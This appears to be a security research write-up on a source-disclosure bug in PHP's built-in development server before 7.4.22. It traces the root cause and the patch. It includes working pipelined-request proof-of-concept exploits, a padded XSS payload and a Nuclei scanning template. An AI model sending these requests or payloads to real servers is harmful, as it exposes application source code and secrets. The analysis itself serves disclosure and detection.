11 min read
PHP Development Server <= 7.4.21 - Remote Source Disclosure
Table of Contents
Authors
Introduction
While testing request pipelining on multiple programming language built-in servers, we observed strange behavior with PHP’s. As we delved deeper, we discovered a security bug in PHP that could expose the source code of PHP files as if they were static files rather than executing them as intended.
Upon further testing, we found that the vulnerability was not present in the latest PHP release. We conducted further tests on different versions of PHP to determine when the bug was fixed, and why. Our investigation led us to the patched version of PHP 7.4.22, and a comparison of the unpatched versus patched code allowed us to see the specific changes made to fix the vulnerability.
It’s important to note that while this issue has been resolved in the PHP source code, Shodan queries reveal many exposed instances of the built-in server. Join us as we detail our findings and share what we learned through our analysis.
Root Cause Analysis
This is the unpatched and patched version git diff - https://github.com/php/php-src/compare/PHP-7.4.21...php-7.4.22
To fully understand the bug and how it was fixed, we compiled both the patched and unpatched versions of PHP with debugging symbols enabled. Using a proof-of-concept (PoC) request, we triggered the source code disclosure bug and observed the code flow in the debugger.
PoC Request:
http
1GET /phpinfo.php HTTP/1.1
2Host: pd.research
3\r\n
4\r\n
5GET / HTTP/1.1
6\r\n
7\r\n
All the HTTP requests to the CLI server are handled by php_cli_server_client_read_request
. The trace looks like this:
c
1main(...)
2 do_cli_server(...)
3 php_cli_server_do_event_loop(...)
4 php_cli_server_do_event_for_each_fd(...)
5 php_cli_server_poller_iter_on_active(...)
6 php_cli_server_do_event_for_each_fd_callback(...)
7 php_cli_server_recv_event_read_request(...)
8 php_cli_server_client_read_request(...)
The php_cli_server_client_read_request
function calls the php_http_parser_execute
function and, as its name suggests, is used to parse HTTP requests. The return value of the function is the number of bytes that were successfully parsed. This value is used to determine how much of the request has been processed and how much remains to be parsed.
When the first part of the request mentioned below is almost finished being parsed:
http
1GET /phpinfo.php HTTP/1.1
2Host: pd.research
3\r\n
4\r\n
and the HTTP request doesn't contain the Content-Length
header, the CALLBACK2(message_complete)
in the code below called. Here, CALLBACK2
is a macro that in turn calls a callback function php_cli_server_client_read_request_on_message_complete
upon completion of processing of the request message.
c
1if (parser->type == PHP_HTTP_REQUEST || php_http_should_keep_alive(parser)) {
2/* Assume content-length 0 - read the next */
3 CALLBACK2(message_complete); // Here
4 state = NEW_MESSAGE(); // Afterwards the state is reverted back to start_state
5}
How does CALLBACK2(…) work?
The CALLBACK2 Macro is defined here: https://github.com/php/php-src/blob/PHP-7.4.21/sapi/cli/php_http_parser.c#L31-L37:
c
1#define CALLBACK2(FOR) \\
2do { \\
3 if (settings->on_##FOR) { \\
4 if (0 != settings->on_##FOR(parser)) return (p - data); \\
5 } \\
6} \\
7while (0)
After preprocessing, CALLBACK2(message_complete) converts to:
c
1do {
2if (settings->on_message_complete) {
3 if (0 != **settings->on_message_complete**(parser)) return (p - data);
4}
5} while (0)
settings is a struct of type php_http_parser_settings
whose member fields (function pointers) are declared here:
Each member of the settings variable is populated with respective callback functions.
This reference to settings is then passed to php_http_parser_execute
function as an argument.
c
1nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);
Similarly, there are CALLBACK
and CALLBACK_NOCLEAR
macros that work almost in the same way.
Therefore,CALLBACK2(message_complete)
results in calling php_cli_server_client_read_request_on_message_complete(...)
and CALLBACK(path)
calls php_cli_server_client_read_request_on_path(...)
and so on.
c
1static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
2{
3 ...
4 php_cli_server_request_translate_vpath(&client->request, client->server->document_root, client->server->document_root_len);
5 ...
6}
Soon, we enter the php_cli_server_request_translate_vpath
function. This function converts the requested PHP file's path to the full path on the file system. If the requested file is a directory, it checks for the presence of index files such as index.php
or index.html
within the directory and uses the path to one of those files if found. This allows the server to serve the correct file in response to a request
In short, this function sets vpath
and path_translated
members to the request
struct. So, for the currently parsed request,
http
1GET /phpinfo.php HTTP/1.1
2Host: pd.research
3\r\n
4\r\n
we end up inside this conditional branch where the **request->path_translated**
is set. This is important and will be used later.
jsx
1static void php_cli_server_request_translate_vpath(php_cli_server_request *request, const char *document_root, size_t document_root_len) {
2...
3 else {
4
5 pefree(request->vpath, 1);
6 request->vpath = pestrndup(vpath, q - vpath, 1);
7 request->vpath_len = q - vpath;
8 // At this time buf is equal to /tmp/php/phpinfo.php where /tmp/php/
9 // is whatever the server's working directory is.
10 request->path_translated = buf;
11 // so the request->path_translated is now /tmp/php/phpinfo.php
12 request->path_translated_len = q - buf;
13 ...
14 }
15...
16
17}
After the function call stack unwinds, we continue our execution of the flow inside php_http_parser_execute
. Now, the 2nd part of the request is parsed as the state is reverted to start_state
:
http
1GET / HTTP/1.1
2\r\n
3\r\n
Just as with the initial request, we enter the php_cli_server_client_read_request_on_message_complete
function and then call php_cli_server_request_translate_vpath
. This process is used to parse and process the subsequent request in the same way as the first request.
This time, inside php_cli_server_request_translate_vpath
, since we are requesting a directory (/
) instead of a file, we will enter a different block of code.
c
1...
2// loops and checks for index.php, index.html inside working dir
3while (*file) {
4 size_t l = strlen(*file);
5 memmove(q, *file, l + 1);
6 if (!php_sys_stat(buf, &sb) && (sb.st_mode & S_IFREG)) {
7 q += l
8 break;
9 }
10 file++;
11}
12
13 if (!*file || is_static_file) {
14 // In case, index files are not present we enter here
15
16 if (prev_path) {
17 pefree(prev_path, 1);
18 }
19
20 pefree(buf, 1);
21 return; // This time we return from the function
22 // and no request->vpath or request->path_translated
23 // is set.
24 }
25...
Finally, after the request's parsing is completed, and we return from php_http_parser_execute
. The return values of length of bytes parsed (nbytes_consumed
) and length of bytes read (nbytes_read
) are compared (more on this here). If they are equal, the code flow continues and we enter the php_cli_server_dispatch
function.
c
1static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
2...
3 if (client->request.ext_len != 3
4 || (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
5 || !client->request.path_translated) {
6
7 is_static_file = 1;
8 }
9...
10}
The code provided above includes a check to determine whether a requested file should be treated as a static file or executed as a PHP file. This is done by examining the extension of the file. If the extension is not .php
or .PHP
, or if the length of the extension is not equal to 3, the file is considered to be a static file. This is indicated by setting the is_static_file
variable to 1.
The code also checks that the path_translated
field of the client->request
object is not null. This field contains the full path to the requested file on the file system, and is used to locate and serve the file. If the path_translated
field is null, it indicates that the requested file could not be found, and the request will be treated as an error.
The code flow proceeds to the php_cli_server_begin_send_static
function because is_static_file
is set to true.
c
1if (!is_static_file) {
2 ... // Executes the file as PHP script
3} else {
4 ...
5 if (SUCCESS != php_cli_server_begin_send_static(server, client)) {
6 php_cli_server_close_connection(server, client);
7 }
8 ...
9}
What went wrong?
Here lies the bug. As seen in the aforementioned code blocks, after parsing of the second request the vpath
is set to /
and assuming no index files were found the client->request.ext
will be set to NULL
. However, the client->request.path_translated
is still set to /tmp/php/phpinfo.php
from the first request. The checks are performed on the client->request.ext
of second request and we enter this branch and which sets is_static_file
to 1
. Basically, saying treat the requested file as a static file and not a PHP script.
c
1static int php_cli_server_begin_send_static(php_cli_server *server, php_cli_server_client *client) {
2 #ifdef PHP_WIN32
3 ...
4 #else
5 fd = client->request.path_translated ? open(client->request.path_translated, O_RDONLY): -1;
6 #endif...
7 client->file_fd = fd;
8 ...
9}
Notice that this function opens and retrieves a file descriptor to the file path stored in client->request.path_translated
. In our example, client->request.path_translated
would be set to /tmp/php/phpinfo.php
. This discrepancy, where the checks happen on the client->request.ext
of the second request but afterward the file is opened on client->request.path_translated
which was set by the first request, leads to source code disclosure.
Now as the file is marked as is_static_file
, the code flow now simply reads the fd and returns it as static file rather than executing it.
Patch
A check was introduced in PHP 7.4.22. This fix checks if the vpath
member of the request
struct is not NULL when parsing the request path. If it is not NULL, the function returns 1.
c
1static int php_cli_server_client_read_request_on_path(php_http_parser *parser, const char *at, size_t length)
2{
3 ...
4 if (UNEXPECTED(client->request.vpath != NULL)) {
5 return 1;
6 }
7 ...
8 }
9 return 0;
10}
When the path of the first part of request message is parsed, the client->request.vpath
is initially NULL and later on set to /phpinfo.php
. However, when the path of second part of the request is parsed, the client->request.vpath
is already set and not NULL which causes the function to return 1.
c
1#define CALLBACK(FOR) \\
2do { \\
3 CALLBACK_NOCLEAR(FOR); \\
4 FOR##_mark = NULL; \\
5} while (0)
6
7#define CALLBACK_NOCLEAR(FOR) \\
8do { \\
9 if (FOR##_mark) { \\
10 if (settings->on_##FOR) { \\
11 if (0 != settings->on_##FOR(parser, \\
12 FOR##_mark, \\
13 p - FOR##_mark)) \\
14 { \\
15 return (p - data); \\
16 } \\
17 } \\
18 } \\
19} while (0)
While parsing the path of the second request we enter into this patched function php_cli_server_client_read_request_on_path
from CALLBACK(path)
here. The CALLBACK(path)
macro check ensures that the return value of the callback function is always 0. If that’s not the case, we will return from the parsing function php_http_parser_execute
and the return value would be the number of bytes it has already consumed while parsing the request.
The return value is stored in nbytes_consumed
variable and is compared with nbytes_read
(i.e., the actual number of bytes in the request).
c
1nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);
2
3 if (**nbytes_consumed != (size_t)nbytes_read**) {
4 if (php_cli_server_log_level >= PHP_CLI_SERVER_LOG_ERROR) {
5 if (buf[0] & 0x80 /* SSLv2 */ || buf[0] == 0x16 /* SSLv3/TLSv1 */) {
6 *errstr = estrdup("Unsupported SSL request");
7 } else {
8 *errstr = estrdup("Malformed HTTP request");
9 }
10 }
11 return -1;
12 }
If the number of bytes consumed by the parser is not equal to the total number of bytes read, it means that the request is malformed. In this case, the code checks the first byte of the buffer to determine whether the request is an SSL request. Otherwise, it sets the error message to “Malformed HTTP request” and returns.
Bonus
A different bug that fortunately also addressed this remote source code disclosure issue in subsequent versions is https://bugs.php.net/bug.php?id=73630. During the parsing of an HTTP request, when certain callbacks are called multiple times, the REQUEST_URI
server variable gets overwritten with a substring of itself.
This behavior can result in open redirects or cross-site scripting (XSS) attacks in some cases. Here’s an example:
Example Snippet:
php
1<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>
requesting GET /index.php?abcd
will result in being rendered as:
html
1<a href="/index.php?abcd">Unexpected url</a>
The hyperlink will always be relative to the domain where it is hosted. Also, the path would convert meta-characters to their HTML entities. Therefore, XSS is not feasible.
However, this can still be exploited by an attacker by sending a GET request with a very long query string in the URL, such as the one shown in the example.
jsx
1GET /?[AAAA...<1425 times>]javascript:alert(1) HTTP/1.1
2Host: pd.research
The REQUEST_URI
is overwritten and only ends up with javascript:alert(1)
. The amount of padding required to be successfully overwrite it with desired content varies and may need to be adjusted.
Proof of Concept
Basic POC:
http
1GET /phpinfo.php HTTP/1.1
2Host: pd.research
3\r\n
4GET / HTTP/1.1
5\r\n
6\r\n
The above request provides a basic HTTP request as a proof of concept that will disclose the source code phpinfo.php
instead of executing it.
We observed that the source code won’t be disclosed if the index.php
file exists in the current directory where the server is started from. However, we came up with a slight modification of the exploit POC that would disclose the source code regardless of, if the index.php
file exists or not. The reason for this lies in the above explanation of the bug.
Upgraded POC:
http
1GET /index.php HTTP/1.1
2Host: pd.research
3\r\n
4GET /xyz.xyz HTTP/1.1
5\r\n
6\r\n
Nuclei Template:
To ease the detection in an automated way against a large set of hosts, we have created nuclei template and added it to the public nuclei-template GitHub repository.
Template pull request: https://github.com/projectdiscovery/nuclei-templates/pull/6633
yaml
1id: php-src-diclosure
2
3info:
4 name: PHP <= 7.4.21 - Built-in Server Remote Source Disclosure
5 author: pdteam
6 severity: medium
7 metadata:
8 verified: true
9 shodan-query: The requested resource <code class="url">
10 tags: php,phpcli,disclosure
11
12requests:
13 - raw:
14 - |+
15 GET / HTTP/1.1
16 Host: {{Hostname}}
17
18 GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1
19
20
21
22
23
24 - |+
25 GET / HTTP/1.1
26 Host: {{Hostname}}
27
28 unsafe: true
29 matchers:
30 - type: dsl
31 dsl:
32 - 'contains(body_1, "<?php")'
33 - '!contains(body_2, "<?php")'
34 condition: and
Demo
cli
1cat index.php
2
3<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>
cli
1cat Dockerfile
2
3FROM php:7.4.21-zts-buster
4COPY index.php /var/www/html/index.php
5CMD ["php", "-S", "0.0.0.0:8888", "-t", "/var/www/html/"]
cli
1docker build . -t phptest
2docker run -p 8888:8888 phptest
3
4[Sat Jan 28 20:09:07 2023] PHP 7.4.21 Development Server (http://0.0.0.0:8888) started
Conclusion
In conclusion, our research aimed to investigate request pipelining on multilayered architecture. As part of our study, we examined the PHP built-in server and stumbled upon a security bug present in an older version of PHP on the test server. This vulnerability could allow the source code of PHP files to be exposed as if they were static files. Our investigation led us to identify that the issue was fixed in the later version of PHP, specifically PHP 7.4.22
It is important to note, even though the PHP team advises not to use the CLI server in production, there are at least a few thousand exposed instances of the built-in server are still present on the Internet. Additionally, it's possible that the PHP CLI server can be behind multiple reverse proxies or load balancers, which would make it more challenging to exploit. In our testing using servers such as NGINX and Apache in conjunction with PHP CLI Server, we were unable to exploit the vulnerability. We welcome feedback from readers on any other configurations or methods that may be used to exploit this vulnerability.
- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research